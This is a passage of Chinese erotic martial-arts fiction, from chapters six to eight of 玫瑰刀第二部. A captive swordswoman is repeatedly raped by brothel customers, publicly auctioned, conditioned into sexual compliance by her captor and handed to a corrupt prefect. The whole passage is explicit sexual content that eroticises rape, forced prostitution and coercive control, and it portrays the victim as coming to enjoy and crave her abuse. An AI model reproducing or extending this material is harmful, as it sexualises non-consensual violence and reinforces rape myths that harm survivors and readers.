冷雪重新趴在床上。

壯漢用另一隻手壓住不斷扭動的雪白屁股……

挺動腰部……

「咕滋……」肉棒牢牢地插了進去!

「啊……」冷雪並未感到很痛,因為在肉棒不斷的亂撞之下,下體已經保護性
地分泌出不少液體,但身體被刺穿的感覺使她依然慘叫一聲。

叫聲中充滿了絕望。

壯漢鬆開了捏住冷雪的手,雙手插到冷雪身體下面,一邊抽送一邊撫摸著她的
乳房。

「嘿嘿……」他得意地淫笑著,在冷雪不斷掙紮的身體裡用力抽送。

冷雪感到自己的肉洞在他的衝刺之下,漸漸寬鬆、潮濕了。

她覺得自己的力量快被這個野獸般的壯漢擠光了。

冷雪的身體漸漸癱軟下來。

下身傳來的感覺卻越來越強烈,她隻有搖著嘴唇忍耐著。

「怎麼,想叫了吧,叫吧……叫了才會舒服啊……嘿嘿……老子最喜歡聽女人
叫床啦!」邪道在一旁淫蕩地說。

聽到淫蕩的話語,冷雪隻有咬緊牙關趴在那裡忍耐著。

「呵呵,還挺硬!小子,給她來幾下慢慢的,深的……」他指導著那隻知瘋狂
抽送的漢子。

漢子早把這老道看成了再生父母,立刻聽話地放慢速度,將肉棒退到洞口,在
慢慢慢慢地送進冷雪的身體,一直插到最深處。

抽送節奏的變化使冷雪的下身立刻產生了淫癢的感覺,她好像陶醉似的深深地
吸了一口氣……

「嗯……」

她無意識地輕輕哼了一聲。

這聲音好像刺激了壯漢,他如法炮製,再次慢慢抽出肉棒,再慢慢進入。

「啊……」冷雪又輕呼一聲。

「叫得好!小妞有感覺了吧,繼續叫,大聲叫……」邪道誘發著她淫蕩的感覺。

冷雪想不出聲,可是這種慢慢的抽送使她實在無法忍耐。

每次插入到底的時候,肉棒頭都要頂在身體深處的嫩肉上,這時她就會像無法
忍耐似的輕呼一聲。

「舒服了吧,看看下邊濕成啥樣了!裝得倒是挺一本正經……賤貨!」邪道並
未仔細去看她的陰戶,隻是憑猜測這樣說著刺激她。

冷雪真的感到陰道裡分泌出的液體越來越多,而且已經順著陰戶沾濕了陰毛,
流到了床鋪上。那裡有一點涼涼的感覺。

(「真的流水了……難道我真是一個……賤貨……」)

冷雪混亂地想著,這時她的呻吟聲已經漸漸頻繁起來。

不僅是插入的時候,慢慢抽出的時候也會呻吟一聲,陰戶的嫩肉也會卷緊肉棒
,好像不捨得讓肉棒出去。

冷雪並不知道,她的肉體在粗魯的強暴下,正一點一點淫蕩起來。


玫瑰刀第二部魔頭 神捕的較量(六)

「用力幹她!」邪道突然這樣命令那個壯漢。

抽送的力量立刻加重了,粗大的肉棒在冷雪的小穴裡快速地衝刺著。

「啊……」加強的刺激使她大聲呻吟一聲。

叫聲一旦開始,就再也止不住了。

大漢被她的叫聲所刺激,一邊抽送,一邊雙手抓住她的腰胯,端起白嫩的屁股。

冷雪毫不反抗地被擺成趴跪在床上的姿勢。

壯漢沒命地抽送肉棒。每次推進時,他的胯骨都會撞在冷雪白嫩的屁股上,發
出「啪啪」的聲響。

「啊……嗚……啊啊……」冷雪的呻吟聲音越來越大。

「好聽!好聽!怎麼不再硬挺了?小賤貨……裝甚麼俠女,還不是跟母狗一樣
……再大聲些……!!」邪道一邊吃著李子,一邊說道。

冷雪雙手撐在床上,被壯漢幹得渾身燥熱,頭腦早就一片混亂。聽到他的嘲弄
,神志卻突然清醒了,立刻粉臉緋紅,羞愧難當,咬著紅唇低下頭去,烏黑的長髮
散落下來,遮住了白皙美麗的臉頰。

可是肉棒在小穴裡猛插一陣之後,她就忍受不住地重新擡起頭大叫起來。

「哈哈,對對!一插就叫!爽死你!」邪道嘴上依然不饒她。

冷雪已經顧不上理他,似乎隻知道跟著壯漢抽送的節奏扭動屁股,拚命呻吟。

嗯,這小妞還真是個可造之才。生性淫蕩。邪道這樣想著。他叫進一個雜役,
低聲吩咐了幾句。

「啊……啊啊……」

大叫幾聲過後,冷雪的身體突然顫抖起來,屁股上的肌肉拚命地一下一下收縮
著,雪白的小手突然像抓救命稻草一樣抓緊了床褥。

壯漢隻覺肉棒突然被身下美女的嫩肉夾緊,龜頭受到溫暖的衝擊,再也控制不
住,便拚命抱緊冷雪白軟的屁股,將肉棒插向她身體的最深處,然後噴出一股股黏
稠的精液。

「啊……」

冷雪感到插在陰戶裡的肉棒不斷地跳動著,一股暖流注入身體深處。

她用陰戶拚命夾緊了肉棒。

「喝,夾得還真緊,武功沒白練!」邪道繼續嘲弄著她。

冷雪簡直快羞死了,可是陰戶就是不聽話不知羞恥地死死纏夾著那條醜陋的肉
棒,彷彿要一滴不剩地將壯漢的精液全部吸進體內。

壯漢終於抽出了軟垂的肉棒,冷雪立刻像被抽了筋一樣軟軟地趴在床上。分開
的大腿根部被蹂躪得一片狼藉,大腿內側的肌肉微微地抽搐著。

白濁的精液從她的秘穴裡溢出來,順著陰戶流到床褥上。

邪道 走了 車的壯漢,走到床邊,雙手抓住冷雪屁股的肉丘,用力扒開。

紅腫的肉縫可憐地張開,露出陰戶內部鮮紅的嫩肉。

「哦,有一點腫……不過依你的體質,還可以再來一次。下一個……」

這次進來的是一個色迷迷的白面書生,衣衫華麗,一望便知是個風月老手。

「他可是花了三百兩銀子來玩你的。好好伺候人家。」

「不要……」冷雪四肢癱軟,無力地說。

書生來到床邊,看到晶瑩的肉體,立刻露出了狂熱的眼光。

他的手指在冷雪赤裸的脊背上遊動,彷彿在撫摸一個精製的瓷器。

「 品,果然是 品。」

他喃喃地說,然後就撲到了冷雪身上。

冷雪在他的身下無力地掙紮。

……

終於被書生將精液注入體內。

立刻有幾個肥婆進來把半死不活的冷雪架了出去,全身清洗一遍再送回來。

然後又是一個嫖客。

這一天,冷雪共接了四個嫖客。

她被第四個嫖客幹得昏了過去。

醒來的時候,發現自己赤裸裸地睡在邪道的懷裡。

她想自殺,可是卻被他制住。

然後可憐的陰戶和乳房就落入玩弄之中。

等冷雪的小穴裡春潮氾濫的時候,他拉著她的手放到了她自己的陰戶上。

然後告訴她昨天的客人對她很滿意,她一天就替他賺了一千兩銀子。

又告訴她應該如何手淫。

她當然不想聽,可是那些話還是一字不漏地傳進耳朵。

她當然想抽回手,可是他的手壓在上面,根本抽不回來,反而由於他的壓迫下
,冷雪自己的手指不停地刺激著自己的敏感部位。

他又去舔她的耳朵,告訴她她的耳朵特別敏感,男人隻要舔上了她的耳朵,她
就完蛋了。

她最終放棄了反抗,手指不自覺地按照邪道教的方法蠕動起來。

冷雪畢竟是個嬌嫩的女子。

她在自己的浪叫中達到高潮。

邪道摟著她,不停地用下流的語言嘲弄她,刺激她。

冷雪被他污辱得流出淚水,卻隻能帶著淚水沉沉睡去。

迷迷糊糊地剛一醒,手立刻又被壓到陰戶上,耳垂兒上也傳來難以抵禦的刺激
……

這一整天,冷雪就處在這種狀態之中,手淫、昏睡、醒來、再手淫……

中午的時候,邪道就抱著她吃飯。

她不肯吃,可湯飯還是被灌了下去。

還被迫吃了一顆邪道煉製的「憐惜」。

「憐惜」是一種固本培元的藥物,可以使人盡情淫蕩而不至喪命。這是邪道的
又一「重大成果」。

他把這種丹藥叫做「憐惜」,意思是女人不會很快被他玩死,這就是他的「憐
惜」。

然後又是手淫、昏睡。

邪道在冷雪昏昏沉沉的時候,套出了冷雪的名字和來歷。

然後告訴她,她以後就叫「雪奴」。

第三天還是如此……

第四天醒來的時候,冷雪發現自己的手已經放在了陰戶上不停地蠕動。

邪道不在旁邊,她反而感到有點失落。

可是她的手淫卻沒有停止。

她在高潮中沉沉睡去。

這一天,她乖乖地坐在邪道的懷裡吃了飯,吃飯的時候,小穴一直被邪道的肉
棒塞得滿滿的。

第五天依然是在手淫中醒來。

正當她欲仙欲死的時候,身上的被子忽然飛走了。

睜眼一看,哇,自己不知甚麼時候躺在了一個半人高的小小的檯子上,檯子上
鋪著床褥,跟她自己平時睡的一樣。周圍有幾隻明燭,搖搖晃晃地照著台上的裸體。

檯子下面昏暗處好像坐著不少人,好像看戲一樣在看她。

冷雪這些天已經習慣了赤身裸體,對淫邪的話語也不僅是害羞,更多的是感到
刺激。除了淫慾以外,她根本就沒有時間想別的東西。

可是被這麼多人看見自己手淫的淫蕩樣子,還是使她感到特別羞恥,她收回了
手,捂在自己臉上。

現在其實不是清晨而是深夜,不過冷雪幾乎已經失去了時間的概念。

她躺的這個小檯子,就是「天堂」為貴賓進行特別表演的舞台。

這時一個中年男人走上台來,他是今晚最豪爽的嫖客,獲得的獎勵就是可以在
大夥兒面前讓這位美女獲得高潮,但自己卻不得脫去衣服。

邪道已經讓人告訴他,這位美女的耳垂兒最敏感。

所以他上來就扶起她的上身,使她正對觀眾,然後從背後摟住,雙手從腋下伸
出抓住柔軟的乳房。

然後含住了冷雪的耳垂兒。

冷雪立刻渾身一軟。

「雪奴……」

男人在她耳邊喘息似地說著。


玫瑰刀第二部魔頭 神捕的較量(七)

從耳朵上傳來電流般的酥樣感覺。

(「不要在這裡」)

「啊,不要……」冷雪軟綿綿地坐在床上,像呻吟般地低聲哀求。

「雪奴小姐,聽說你最喜歡男人摸你?」男人呼出的熱氣和話語從她的耳孔傳
了進去。

「不,不是……」白皙的手放到胸前,抓住正在柔軟的乳房上揉搓的手。

男人強硬而固執地揉搓著她的乳房,並用手去逗弄嫣紅的乳頭。

一陣陣潮水一樣的衝擊像電流般從乳房直傳到腦後。

「不,不……」冷雪坐在床上,修長而婷勻的雙腿斜著靠在一邊,背靠在男人
身上扭動著雪白的上體。

她竭力抵抗著乳房上傳來的刺激,雙手去推在乳房上邪惡地活動著的手。

場內早已安靜下來,眾人都摒住呼吸,雙眼盯著台上。

誰都不願錯過一個畫面,不願錯過一聲呻吟。

引發美女高潮的過程是最誘人的,「天堂」的老闆深知這一點。所以他們的貴
賓表演都是圍繞著這樣一個「主題」。

現在,誰都看的出來,正在被玩弄的美女----雪奴就要崩潰了。

背後的男人似乎要延長征服美女的過程,揉搓乳房的雙手突然停了下來。

冷雪快要崩潰的神志終於清醒了一下,她想坐直身體……

男人低頭親吻著她肩胛骨附近的肌膚。

背後突然傳來一絲癢癢的感覺,冷雪像怕冷似的打了個寒顫。這麼多天的污辱
,那裡卻從來沒被人親過,因此分外敏感。

後背的肌膚如凝脂般柔滑,男人的舌頭從上面經過,在肌膚上留下了閃閃發光
的痕跡。

「……」冷雪像聞到最馥郁的花香,深深地吸氣,胸前推拒的手無力地垂下。

美麗的眼睛迷糊起來。

「雪奴,你真是迷死人了,男人不為你發狂才怪……」男人一邊舔她,一邊突
然揪了一下乳頭。

「啊……」冷雪輕呼一聲,掙紮著又去推他的手,可是剛剛手淫過的身體力量
非常有限。

這次男人更毫不客氣地用力揉搓起她的乳房,根本不理會她的反抗,並重新含
住了她的耳垂兒。

「啊啊……」強烈的刺激使冷雪一下陷入狂亂之中,白皙的手指在他的手上摸
索著,好像要 定放在自己乳房上的是甚麼東西。

然後雙手就無力地垂了下來。

她的頭向後仰去,靠在男人肩上,癱軟的身體隨著男人用力的揉搓起伏著。

夾在一起的兩條大腿彷彿難耐地互相摩擦。

斷續的呻吟也漸漸連成一片,音量也大了起來。

「哇,金員外隻摸奶子就讓雪奴舒服成這樣,真不愧是花叢老將……她最喜歡
讓男人看她發浪的樣子!」邪道刺耳的聲音蓋過了冷雪呻吟的聲音傳進每個人的耳
中,依舊帶著一種說不出的淫邪味道。

他的話語讓冷雪的混亂的腦海中掠過一絲反抗意識。

(「有那麼多人在看……」)

不等她多想,男人的手已經插入她的兩腿之間,輕輕一撥。

白嫩的大腿立刻軟軟地分開。

男人的手指立刻被陰戶分泌的液體沾濕了。

手指插入小穴,灼熱而潮濕的嫩肉彷彿有了生命,立刻迫不及待地將手指緊緊
纏繞起來。

男人的手指遲疑了一下,才彷彿狠了狠心似的在柔嫩的小穴裡抽送起來。

「啊,啊啊……」

連冷雪自己都聽見自己的叫聲無比淫蕩地在大廳中迴盪。

她強打精神想要合攏雙腿,可是身體在男人的玩弄下已經變得很難控制。

手指隻用力抽送了幾下,修長的雙腿就重新分開。

冷雪不停地呻吟著、扭動著。

模糊的意識中,隱約覺得有無數目光盯著自己的小穴。

那裡正被一隻陌生的手指所插入、穿透、控制……

「金員外幹得好呀!雪奴已經喜歡上你的手指啦!你聽聽她的叫聲,簡直舒服
死啦……各位大爺不要吵,雪奴今晚是金員外的,不過一會兒會有餘興節目,是安
排雪奴明後天的客人。各位隻要交五十兩銀子,就可以先驗貨,然後參加叫 ……
現在請先欣賞她發浪的樣子和可愛的叫聲吧……」

這是鴇母在浪聲浪氣的發言。

冷雪的艷色 實是所有的妓女中最出眾的,多年的武功訓練使她的身體骨肉婷
勻,各個關節有著超強的柔韌性。

在男人的玩弄下雪白的軀體像水波一樣蠕動起伏,好像沒有骨頭一般。

她的叫聲即淫蕩又羞澀,欲拒還迎,欲止還興,彷彿風雨中的弱柳,隨風飄搖
卻又屹立不倒,拒絕一切卻又承受一切。

而且自然。

那 實是女子高潮來臨之前魂飛天外欲仙欲死的表露。而其它的妓女無論叫聲
如何淫蕩,總是裝出來的,不過是換錢的一個手段。

眾看客早已看出這雪奴是風月場中難得一見的 品。

這樣的女人,就算接受過很多男人洗禮,卻依然能夠保持處女一般的心態,惹
人愛憐。

而且銷魂蝕骨。

看客們早已按奈不住,紛紛要取金員外而代之,所以鴇母才說出剛才的一番話。

而冷雪已經聽不到這些了。

金員外得意之 ,插在小穴中的手指、揉搓乳房的手指、舔弄耳垂兒的舌頭同
時加重了力度。

「啊……不要啊……啊……啊……」

冷雪全身好像已經完全浸泡在淫蕩的水中,發出了哭泣般的呻吟。

我怎麼會這樣……完了!

冷雪腦海中最後浮現出這個詞,然後意識好像一下飛到了天空的盡頭,飄飄渺
渺,不知所終。

她沉淪、迷失、狂亂、墮落在肉體的淫慾中。

白得耀眼的肢體像一條妖艷的白蛇,在男人的擺弄下蠕動出各種淫蕩、淫穢、
下流、不堪的姿勢。

……

昏亂的頭腦終於漸漸冷靜,冷雪卻依然覺得飄浮在半空中。

她覺得自己四肢彷彿蜷在了一起,想要伸直卻辦不到。

於是她睜開了困惑的眼睛。

「這、這是甚麼姿勢?!……」

冷雪看到自己被人從背後抄著膝彎抱了起來,自己的姿勢好像小時候被父親把
著撒尿一般。

她知道是邪道抱著自己,這些天,她已經非常熟悉邪道的呼吸聲和身體的 感。

他正這樣抱著她走下台去。

「幹、幹甚麼……」冷雪扭動了一下,發現身體一點力氣也沒有。其實,發現
抱著她的人是邪道以後,她就失去了反抗的勇氣。

就這樣赤裸著、兩腿大張著被抱到看客們的眼前。

「各位交了錢的大爺,一會兒就可以參加叫 啦,現在請觀賞雪奴發浪以後的
小穴吧,這可是難得一見的美景哦。……也可以摸,不過隻能摸一下啦,現在隻是
驗貨……要想徹底的爽,還請參加一會兒的叫 啦。……」跟在一旁的鴇母像隻聒
噪的烏鴉續續叨叨個沒完。

冷雪閉上了美麗的眼睛。

兩滴淚水順著長長的睫毛流了下來,順著白皙的臉頰悄悄滑下。

好像最後兩滴不甘心的雨水從風雨過後卻依然嬌艷的梨花上悄然滑落。

楚楚可憐。

可是看客們卻隻被她淫蕩的姿勢所刺激。

他們的眼睛隻盯著被分開的大腿根部,那一朵異常妖艷的紅花。

那被淫水打濕的亂蓬蓬的陰毛,濕漉漉的、無比淫猥的陰戶。

……

冷雪終於被抱回了房間。剛才的叫 很成功。

接下來的兩天,她被安排了七位嫖客,他們一共花了五千兩銀子。

有多少人看過、摸過她的陰戶,她也記不清了。隻記得自己好像又流了不少浪
水,又表演了一遍呻吟。

在 端的羞恥過後,冷雪放棄了保持冷靜的努力。

(「隨它去吧,再說……大家好像都很喜歡我這付樣子。」)

而剛才那位金員外早已在房裡等候多時,立刻迫不及待地把她按在床上。

冷雪已經毫無反抗的能力,很容易地就被姦淫了。

那男人把她送到絕頂高潮。

他最後把精液射在了她的嘴裡,然後命令她吞下去。

連冷雪自己都不明白為甚麼就那麼聽話地吞下了 髒的精液。

而且似乎很舒服。

精液似乎不像想像中那麼噁心。

金員外讓雪奴吞下了自己的精液,滿意地走了。

玄關處,邪道渾身赤裸,抱著一個同樣渾身赤裸的女孩走了進來。

那女孩已經全身癱軟,一滴滴白色的液體從兩腿間慢慢滴到地闆上。

冷雪朦朧中感到有人來到床邊,睜眼看去,那女孩正是陳麗兒。

邪道將陳麗兒和冷雪並排放到床上,然後自己也上床,躺在二人中間,然後一
手一個,將兩個赤裸癱軟的女孩摟在懷裡。

不知為甚麼,冷雪感到自己心裡有點不舒服。

可是她太疲勞了,不多久就在邪道的懷抱中沉沉睡去。

第二天醒來的時候,冷雪發現自己的手又放在了陰戶和乳房上,她沒有多想就
繼續玩弄起來。

她發現麗兒也正拚命手淫著,已經開始越來越大聲地呻吟,正貪婪地追求快感。

「怎麼,麗兒也變成這樣……」她一邊手淫,一邊這樣想著。

這時,她的呻吟和麗兒的呻吟已經交織在一起。

邪道悄悄地走了進來,看著床上錦被下面的兩個美人正閉著雙眼蠕動著身體。
長髮散亂在枕頭上,兩張紅紅的小嘴咿咿呀呀地呻吟著。

他滿意地笑了一下,然後掀起了被子。

兩團蠕動的白肉落入他的眼中。

兩人的姿勢幾乎一模一樣,都是一手揉搓乳房,一手揉搓自己的陰戶。

「嗯,不錯,簡直就是一師之徒」。邪道得意地想著。

二女均覺身上一冷,不約而同地睜開了眼睛,看到邪道淫邪的笑容,臉登時紅
了。

冷雪不由停下了手,羞得閉上了眼睛。

麗兒卻更加賣力地玩弄自己,並開始扭動身軀。

她的呻吟聲彷彿在向邪道獻媚。

冷雪臉卻更加紅了,雖然已經變成這樣,她還是覺得麗兒的表現實在是太……
下賤了。

「麗兒真聽話,回頭道爺好好疼你……雪奴,不要停呀。跟麗兒學學……」邪
道說道。

冷雪心裡不願意,可是手還是重新插進了大腿之間,慢慢地恢復了動作。

兩人的呻吟聲此起彼伏地重新交織在一起。

冷雪羞紅著臉,習慣性地慢慢體會自己 樂的高峰。

旁邊的麗兒的叫聲卻已經愈來愈大,突然,她翻身起來,跪趴在床上,頭抵著
床,雪白的屁股高高地向著天,一手從胯下將手指伸入小穴拚命挖弄,一手揉弄乳
房。

衝著床邊的邪道,獻媚似地搖擺圓圓的屁股。

美麗的眼睛空洞無神。

冷雪感覺到麗兒的動作,睜眼一看……

哇,這是甚麼姿勢,簡直跟母狗一樣……

可是邪道卻獎賞似地拍了拍麗兒的屁股:「嗯,不錯。……雪奴,你也這樣!」

麗兒更加起勁地搖動屁股。

冷雪卻無力地搖頭拒絕。

邪道不由分說,抓住她的腳踝拉到床邊,將她的身體扳轉過來。

然後抓住她的腰骨向上一拎,冷雪的屁股就擡了起來,雙腿跪在床上。

冷雪看到從自己的胯下伸出一隻手來,抓住了自己的手腕。

還來不及掙紮,手就被拉到陰戶上,然後被迫在陰戶上按壓起來。

銷魂的快感立刻奪走了冷雪所有的想法。

冷雪被擺成和麗兒同樣的姿勢,高高翹著雪白的臀部,在邪道眼前手淫著。

邪道看到她雖然沉淪,但屁股卻一動不動,就伸手在她屁股上拍了一下。

冷雪好像明白了他的意思,開始笨拙而緩慢地搖擺渾圓雪白的屁股。

她意識到自己和麗兒其實是一樣的。

兩個赤裸的女孩在邪道面前毫無廉恥地翹著雪白的屁股,像比賽一樣瘋狂地呻
吟、扭動。

……

正當冷雪拚命呻吟著搖動屁股,就要登上高峰的時候,邪道突然把她抱了起來
,坐在自己懷裡,將她的雙手反剪在背後,不許她再愛撫自己的陰戶和乳房。

(「怎麼……??」)

冷雪從高峰上驟然跌下,頓時感到無名的失落。她不明白邪道為甚麼這樣做,
他好像一直喜歡自己這樣。

尤其是看著麗兒一點點登上頂峰渾身香汗淋漓抽搐著大聲呻吟著癱軟在那裡時
,冷雪覺得胸口發悶,難受 了。

她在邪道的懷裡扭動著赤裸的身軀。

邪道在她耳邊惡狠狠地說道:「雪奴,你要是敢再不聽話,我就不讓你玩你的
小穴,不讓男人碰你。」

他斷定她已經離不開淫慾了。

果然,冷雪喘息著說:「我聽話,我聽話,求求你,快放開我……」

「真的?」

「真的,真的……啊……快放開我呀……」

邪道放開了她的雙手。

冷雪立刻迫不及待地將纖細的手指插進了自己的陰戶,卻羞澀地閉上了眼睛。


玫瑰刀第二部魔頭 神捕的較量(八)

眼看就要登上頂峰了。

忽然麗兒的聲音又響了起來。這聲音比她自己的聲音要淫蕩好幾倍,愉悅好幾
倍。

她睜眼一看,自己不知甚麼時候又躺回床上,旁邊邪道正將麗兒對面抱在懷裡。

邪道的肉棒在麗兒的小穴裡快速地衝刺。

冷雪心裡忽然 慕起麗兒,她知道麗兒現在一定快要爽死了。

(「啊……我也想要……」)

她一邊手淫著,眼睛望著邪道,像一隻渴望主人憐惜的小狗露出乞憐的眼光。

邪道淫笑著抓住冷雪的腿把她拉到身邊,一隻肥胖的手指插進濕漉漉的小穴。

「啊……」冷雪不甘心地扭動雪白的身體。她還是嫉妒麗兒……為甚麼隻用手
指來插……

可是就是這樣的思想也在一陣陣快感中消散了。

邪道一邊用肉棒衝擊著麗兒,一邊用手指挖弄冷雪的小穴,同時玩弄著兩個美
麗的身體。他發現雖然冷雪身材比麗兒高大,可是小穴卻比麗兒要緊窄。

這一發現使他更堅定了要讓冷雪徹底馴服的決心。

麗兒早就欲仙欲死地浪叫著,雙手扶住邪道的肩膀,不斷起伏著身體,拚命用
小穴套弄著粗大的肉棒。

冷雪也同樣在呻吟著,而且一雙手不知甚麼時候也已經放到乳房上揉搓起來,
而且不知羞恥地弓起膝蓋,大張著兩腿,不斷地收張著陰戶周圍的肌肉,吞吐淫穢
的手指。

麗兒尖叫幾聲之後,終於渾身顫抖著癱軟下去,喘息著動彈不得。

邪道不再理她,他用手壓住冷雪的小腹,低頭看著手指在小穴中進進出出的光
景。

為甚麼,為甚麼還不給我?冷雪臉色潮紅,彷彿中了魔似的想著,眼神直直地
盯著肉棒。

「想要嗎?要就說呀……今天要好好接客,賤貨!」邪道像對一條狗似地說。

可是冷雪已經顧不了那麼多了。

她忙不叠地點著頭:「我要,我要……我一定……好好接客……」

邪道又讓她舔了一遍肉棒才從後面對準她的小穴,故意慢慢地把肉棒插進她的
身體。

冷雪彷彿解脫似的流下了愉悅的淚水。

高潮過後的冷雪昏睡在床上。麗兒已經被邪道抱走了。

一個嫖客悄悄走了進來,他是昨晚叫 的勝利者。

他悄悄地掀起被子,看了看裸睡的美人,然後摸上床去。

等冷雪醒來的時候,肉棒已經深深地插入了她的身體。

這一天,冷雪接待了三位嫖客。

最後一個嫖客是一個瘦瘦的老頭,一雙乾瘦的手反覆撫摸了她身上每一寸肌膚
,然後把肉棒塞進她嘴裡。

可能是年級太老了,他的肉棒很難完全地勃起,可冷雪還是跪在床上,含住肉
棒很賣力地吮吸,終於使老頭在她嘴裡射精。

看著冷雪吞下了自己的精液以後,老頭滿意地走了。

跟這個老頭做愛是最輕鬆的,他比一般的嫖客早走了半個時辰。

沒有達到最高峰的冷雪有些失落。

嘴裡全是精液的味道。

她赤裸著身體走下床,忽然覺得一陣眩暈。

武功出色的冷雪可從來沒出現過這種情況。

她不得不扶著床頭休息一下。

然後搖搖晃晃地向桌子走去。

冷雪覺得有點彆扭,她有些不習慣走路了。

這些天來,不是被人在床上姦淫就是被人抱在懷裡玩弄,兩條腿好像已經隻習
慣於向兩邊分開,不習慣前後移動了。

她倒了一杯茶漱口。

風從一扇沒關緊的窗戶上吹進,赤裸的身體瑟縮了一下。

這瑟縮使她的頭腦幾天來第一次清醒。

然後就那樣赤裸裸地坐在椅子上可憐地抽噎起來。

她搞不懂為甚麼自己會這麼慘,自己好像並沒有做錯甚麼。

她也想不出辦法逃走。

隻要邪道在,憑自己的武功是絕對逃不掉的。

除了幾件薄紗裙之外,屋子裡沒有可以遮體的衣服。她明白那幾件衣服穿上跟
沒穿幾乎沒甚麼區別,是沒法穿著見人的。它們隻能挑動嫖客們的淫慾,誘使他們
像野獸一樣把它們剝掉。他們都喜歡剝她的衣服。每一個男人都想姦淫她。

自己的身體也變了……現在那些男人的手隻要一碰她的身子,她的下面就會潮
濕起來,渾身發軟,完全失去了運用武功的能力。連剛才那個乾癟老頭,都能輕而
易舉地制服擺佈她。

而且身體好像並不討厭男人的愛撫,在男人的愛撫下她能夠乖順地做任何淫穢
不堪的事情。

她覺得自己越來越像一名真正的妓女。

甚至還不如這裡的妓女。她們是為了掙錢的,起碼知道為甚麼要做,可自己是
為了甚麼呢?

……每天早上都像中了邪術一樣,醒來的時候手肯定放在陰戶上。

那種銷魂的感覺真的奪去了冷雪的「魂」。

唉,我已經是一個淫婦了……雪奴,這名字倒真挺合適。

都是那個臭道士,每次都被他幹得死去活來……不過,也真的很舒服……我也
真的很賤,被他強姦還會覺得舒服……

冷雪抽噎著胡思亂想,覺得越來越冷,就站起身走回床上躺下。

邪道抱著麗兒推門進來。冷雪躺在錦被下面,清秀的臉上淚痕未乾。

「哭甚麼……」邪道惡聲惡氣地說。

「落到我手裡算你走運,要是落到雷獨那小子手裡,你早就被玩殘了。乖乖的
接客,先替老子掙點銀子。不然,沒有男人你可知道是甚麼滋味。小賤貨!」

冷雪被他罵得哭出了聲。

「還哭還哭,老子最煩女人沒事就哭……把手放上去!」

冷雪一邊抽抽噎噎地,一邊把手放到可憐的陰戶上,細長的手指慢慢在陰唇上
移動。

「對啦……這樣雪奴才乖,再用力些,道爺才會疼你……哈哈哈哈……」邪道
得意地說著。

冷雪很快有了感覺,抽噎的哭聲慢慢變成了呻吟。

最後,趴在床上,讓邪道從後面姦淫,浪叫著登上頂峰。

剛才一瞬間的清醒早就丟到了九霄雲外。

經過幾天的觀察,邪道 信冷雪已經沒有辦法抗拒淫慾,她已經變成了一個順
從的淫婦,每天接客的時候都能讓那些客人爽得欲仙欲死。

當客人不能把她帶上頂峰的時候,她就會自己手淫著解決。

可是就是這樣,接客的時候她依然會臉紅,依舊會有輕微的抗拒,當然,每次
抗拒最後都以屈服而收場。

很多嫖客就因為這一點而十分滿足。這讓他們有一點強暴美女的感覺。而且,
沒有一個男人喜歡真正毫無廉恥的女人。

男人喜歡的是……本來很羞澀,在他的玩弄下卻變得毫無廉恥的美女。

很多男人人並沒有意識到這一點,但他們卻喜歡這樣做。

這是一種本能。

「嗯,這雪奴可真他媽夠味……」這是邪道對她的評 。當時在場的其它妓女
嫉妒的眼光幾乎能把冷雪殺死。

然後他就訓練冷雪和麗兒互相玩弄。

兩個女孩早已變成了性慾的奴隸,在他的調教下很快就掌握了愉悅的方法。

邪道總是讓麗兒去玩弄冷雪。

每到這個時候,麗兒就會像一瘋狂的小淫獸,想盡一切辦法玩弄她。

麗兒最喜歡自己穿著整齊的服裝然後把冷雪剝光了玩弄。用現代的話說,她已
經有一點變態了。

冷雪開始當然不願意,這樣使她覺得自己的身份越來越下賤,甚至還不如妓女。

可是在邪道的幫助下,她抗拒不了麗兒。再說,麗兒對於她身上敏感而羞恥的
部位瞭解得好像比她自己還清楚。

所以麗兒每次都能達到目的,使冷雪擺出各種羞恥的姿勢,又是羞恥又是快樂
地浪叫著登上頂峰。

抗拒的意識越來越淡泊。

她也很想玩弄麗兒,想看看自己如何把麗兒弄得欲仙欲死。

可是邪道就是不許。他告訴她,她是雪奴,就是被別人玩的。

冷雪最後也終於死了這條心,順從地做了麗兒的玩物,平常兩人在一起的時候
,也能乖順地聽從麗兒的指示。

等到即使沒有別人在場,不管冷雪的願意如何,麗兒都能順利地剝光她的衣服
玩弄一番使她達到高潮的時候,麗兒實際上已經能夠支配冷雪的一切心理和生理了。

邪道就帶她們去見當地最大的官員:知府慕容別情。

他是他在官府的至交,靠山,生意夥伴。

官匪一家,自古如此。

所以他的「天堂」才能夠如此紅火。

如此膽大妄為。

後來她們才知道,慕容別情最喜歡看女子的同性狎弄。

而且冷雪比麗兒的身材要高一些,有力一些,也更美艷一些。

由麗兒來玩弄冷雪可以讓這位知府大人得到更大的滿足。

那一晚,邪道告訴二女要去伺候知府大人,誰要是敢惹惱他就在陰戶上塗上淫
藥,三天不許碰男人。

兩女當然不敢違抗。

因為,這樣的懲罰對她們已經是最有效的手段。

兩人被秘密帶到知府衙門,慕容別情的臥室裡。

他早就坐在太師椅上等候了。

進房之前,邪道跟麗兒低聲吩咐了幾句。

冷雪並不知道知府大人的怪僻,她反正已經準備好任他姦淫,想到一會兒又能
體驗升天的感覺,下體就已經有些濕了。

慕容別情四十多歲,身著錦緞便服,正襟危坐,道貌岸然。

「賤婢雪奴向知府大人萬福」冷雪身著白色紗裙,向慕容別情盈盈下拜。

「起來吧。」她的美麗使慕容別情再也無法移開自己的目光。透過白色的紗裙
,他隱隱看到她雪白的肢體上穿著白色的肚兜和褻褲。

「謝大人。」冷雪早已習慣這樣的目光,她站起身來,等著他來玩弄。

也有一點點好奇,想看看這位道貌岸然的官員如何開始最下流的行動。

可是沒等她站穩,腰肢就被麗兒從後面抱住了。

「啊,麗兒,幹嗎……??」

還沒等冷雪明白過來,麗兒已經掀起了她的紗裙,一雙小手十分利落地把她的
褻褲拉到了膝蓋下面。

「啊……不要」儘管已經習慣在男人面前赤裸身體,可是在這種情況下冷雪還
是本能地抗拒。

她看了看慕容別情,希望他能制止麗兒。

可是他沒有任何動作。

隻是的眼睛裡閃動奇異的光芒。

「麗兒,別……」她掙紮著抗拒。

麗兒的細嫩的手從紗裙下伸了進去,插進兩腿之間。手指靈活而熟練地插進了
冷雪的秘穴。

手指在紗裙的下面邪惡地活動著。

雖然有紗裙遮蔽下體,冷雪還是羞澀無比,兩條大腿夾住了麗兒的手。

可是手指卻依然在秘處靈活地挑逗著。

慕容別情表情專注,緊盯著紗裙裡隱隱約約的手指的活動,還有緊緊並在一起
夾著手的大腿。

冷雪的喘息聲大了起來,夾緊的大腿慢慢鬆弛。

慕容別情盯著她的臉,那張臉正不知因羞澀還是興奮而逐漸紅潤起來。